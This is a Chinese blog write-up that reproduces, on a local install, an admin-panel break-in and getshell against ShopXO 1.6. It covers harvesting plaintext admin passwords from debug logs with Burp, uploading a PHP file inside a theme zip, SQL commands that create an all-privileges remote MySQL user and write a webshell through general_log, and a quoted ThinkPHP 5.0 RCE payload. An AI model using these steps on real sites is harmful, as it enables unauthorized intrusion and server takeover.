一切的一切都要从一只蝙蝠开始说起…总之最近很闲,于是逛bilibili,发现了大表哥一不小心就进了某个骗子网站的后台,不仅心向往之
但不幸的是据说为了规避风险,表哥删减了很多内容,看的我云里雾里,一不小心就晕了
Tom表哥的视频在这里
为了有朝一日我也能够像表哥一样一不小心,我决定动手分析一波
放一张视频截图
可以看到表哥用的是burpsuite爆破日志,然后知道管理员密码进了后台
网站是由基于thinkphp5
开发的shopxo1.6
(或许可以试试thinkphp5
的几个poc,下次一定吧),去官网上下载源码安装后,知道了默认的管理员账户为admin,shopxo,但我肯定现在不会有人使用默认的密码了,毕竟谁没有被盗过QQ号呢?啊!我逝去的青春…
表哥说的日志位于/runtime/log/
(省略网站根目录前缀,下同)下的目录中,不同的目录命名格式应该是4位的年份加上2位的月份,然后对应月份的目录下是文件名为2位的日,后缀为log的文本文档
因为只需要关心最近一个或两个月内管理员的登录行为(太靠前或许密码被改掉了,以及日志或许被清掉了),所以目录是直接可以确定的
于是通过burp suite的intruder进行对2位日子的遍历,然后根据大小排序得到信息相对较多,更可能是有登录行为的文件
搜索pwd
字符串是因为管理员登录时post的密码变量名为login_pwd
,然后发现确实有对数据库中s_admin
表中username
为admin
的login_salt
和login_pwd
进行查询,而且登录后会对数据表中的login_salt
和login_pwd
进行更新
密码校验主要调用/application/common.php
里的LoginPwdEncryption
函数
function LoginPwdEncryption($pwd, $salt)
{
return md5($salt.trim($pwd));
}
数据表中一直都是对密码加盐后的md5值,效验的时候将用户输入的密码同样加盐后进行对比,成功后更新数据库里的login_salt
和login_pwd
,也就是日志里看到的数据
// 密码校验
$login_pwd = LoginPwdEncryption($params['login_pwd'], $admin['login_salt']);
if($login_pwd != $admin['login_pwd'])
{
return DataReturn('密码错误', -3);
}
那么我们可以借助md5解析的网站对login_pwd
进行破解,但我试了试因为是随机加盐,问题很大
也可以自己进行暴力破解,程序很好写,但这个6-18位密码遍历起来太耗时,最多试试6-9的遍历
万幸的是,表哥遇到的环境里应该是开启了调试模式,也就是将/config/app.php
里的app_debug
设为true
,日志里除了数据库的信息外还会开启info级别记录,然后我们重新登录后搜索pwd
的时候我们就可以看到用户post的数据了,其中login_pwd
项是明文的密码
进入后台get
后续上传一句话getshell,如果mysql的SECURE_FILE_PRIV不是NULL的话,那就直接在工具->SQL控制台select into outfile
一气呵成
不行的话不知道咋办了,或许是这个CNVD-2019-47173(未公布poc),或许是ueditor有上传漏洞(懒得试了),求知道的大佬告知
放一张图假装自己getshell
参考路西法大哥的ShopXO框架后台Getshell漏洞复现,成功从后台getshell
步骤:
首先,到后台应用管理->应用商店->主题
,去下载那个唯一的免费主题
在这个压缩包的\default\__static__
目录下添加一个php文件
去网站管理->主题管理->主题安装
里将这个压缩包上传,添加的php文件会解压到
shopxo根目录\public\static\index\default
目录下,http访问这个文件即可
(小声bb:我之前试了一次插件里加php文件,结果失败了,就放弃了…〒▽〒,现在认真的试了试,发现也是可以getshell的
用ucenter插件举例,它的ucenter目录里的结构是这样的
├─_controller_
│ └─ucenter
│ ├─admin
│ └─index
├─_css_
│ └─ucenter
│ └─admin
├─_uploadimages_
│ └─plugins_ucenter
│ └─2019
│ └─04
│ └─02
└─_view_
└─ucenter
└─admin
└─admin
然后呢,上传过后
_view_
目录会对应于application\plugins\view
(省略了shopxo根路径,下同)
_controller_
目录里的ucenter
目录会对应于application\plugins\ucenter
以上两个都是禁止访问的
_css_
会对应于public\static\plugins\css
_uploadimages_
会对应于public\static\upload\images
这两个目录(及其子目录)下放php文件可以正常访问并执行
关于不能访问的原因:application\
目录下存在内容为deny from all
的.htaccess
文件而public\
目录下没有(除了一个对错误访问的处理)
尝试了一下利用后台的自带的sql执行工具getshell
思路:
设置开启日志记录:set global general_log='on';
设置日志文件位置:SET global general_log_file='../../WWW/a.php';
(注:因为后台的mysql语句执行只返回是否成功,不返回结果,所以这里的的路径采用一个个尝试根据是否报错决定:比如../../WWW/a.php
,/var/www/html/a.php
)
向日志中写入payload:select '';
在第三步失败,因为shopxo设置了全局的过滤函数为htmlspecialchars,会使得<
和>
被转义为<
和>
,"
也是的,'
单引号还可以用,而在sql查询的时候又没有还原(u1s1,这应该算是个bug,不知道作者什么时候修复(/▽\)
还好,天无绝人之路
我们可以在后台的sql控制台中创建一个远程用户,然后直接连上去,这个时候上面的路就可以走通了
创建用户kali密码root任何客户端都可以连:grant all privileges on *.* to root@'%' identified by 'kali' with grant option;
flush privileges;
:使修改生效
(如果失败的话:可以试试根据自己mysql客户端的报错信息建立相应的用户(比如’kali’@'kali.cn’就可以加上一个host为’kali.cn’的用户)再刷新)
show @@datadir;
可以看到数据库绝对路径
show variables like "%general%";
:查看日志情况
开启日志记录及设置文件位置大致同上
select "";
然后直接访问日志就可以看到熟悉的phpinfo画面了
ps:关于之前提到的thinkphp的漏洞
我下的最新版的shopxo已经使用的是thinkphp5.1.31了
5.0的payload?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
不能用了
过滤点在
thinkphp/library/think/route/dispatch/Url.php
的第63行
if ($controller && !preg_match('/^[A-Za-z][\w|\.]*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}